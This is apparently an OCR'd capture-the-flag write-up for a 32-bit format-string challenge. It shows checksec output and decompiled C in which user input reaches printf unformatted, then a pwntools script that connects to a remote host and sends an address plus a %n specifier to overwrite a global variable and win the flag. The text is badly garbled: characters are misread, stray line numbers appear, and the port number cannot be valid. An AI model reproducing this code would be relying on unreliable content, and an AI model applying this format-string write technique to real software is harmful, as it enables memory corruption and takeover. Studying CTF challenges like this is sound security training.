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[*] '/home/dra/Desktop/cgfsb’
Arch: 1386-32-little

RELRO: Parti EL
Stack:

NX:

PIE:

HIIDA 4T 7F
int _ cdecl main(int argc, const char **argv, const char **
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
_ intl6 v6; S/ [esp+26h] [
char s; // [esp+28h] [
unsigned int v8; // [esp+8Ch] [ebp-16h]
8 = _ readgsdword(8x14u);

setbuf(stdin, @);
setbuf (stdout, @);

setbuf (stderr, @);
1 buf = 83
14| ws = @;
1 5 = 8;

memset (&=, @, @x64u);

puts("please tell me your name:™);
read(@, &buf, @xAu);

puts("leave your message please:™);
fgets(&=, 188, stdin);
printf({"hello ¥%s™, &buf);
puts("your message is:");
printf(&=);

if ( pwnme == 8 )
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6 puts("you pwned me, here is your flag:\n")};
7 system("cat flag");

8| 3

9| else

a

1 puts("Thank you!™);

2| 3

3| return @;
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from pwn import *

sh = remote('111.198.29.45',366490)
sh.recv()

sh.sendline('hacker"')

sh.recv()
payload = p32(0x804a068) +'aaaa' +'%le$n’
sh.sendline(payload)

sh.interactive()
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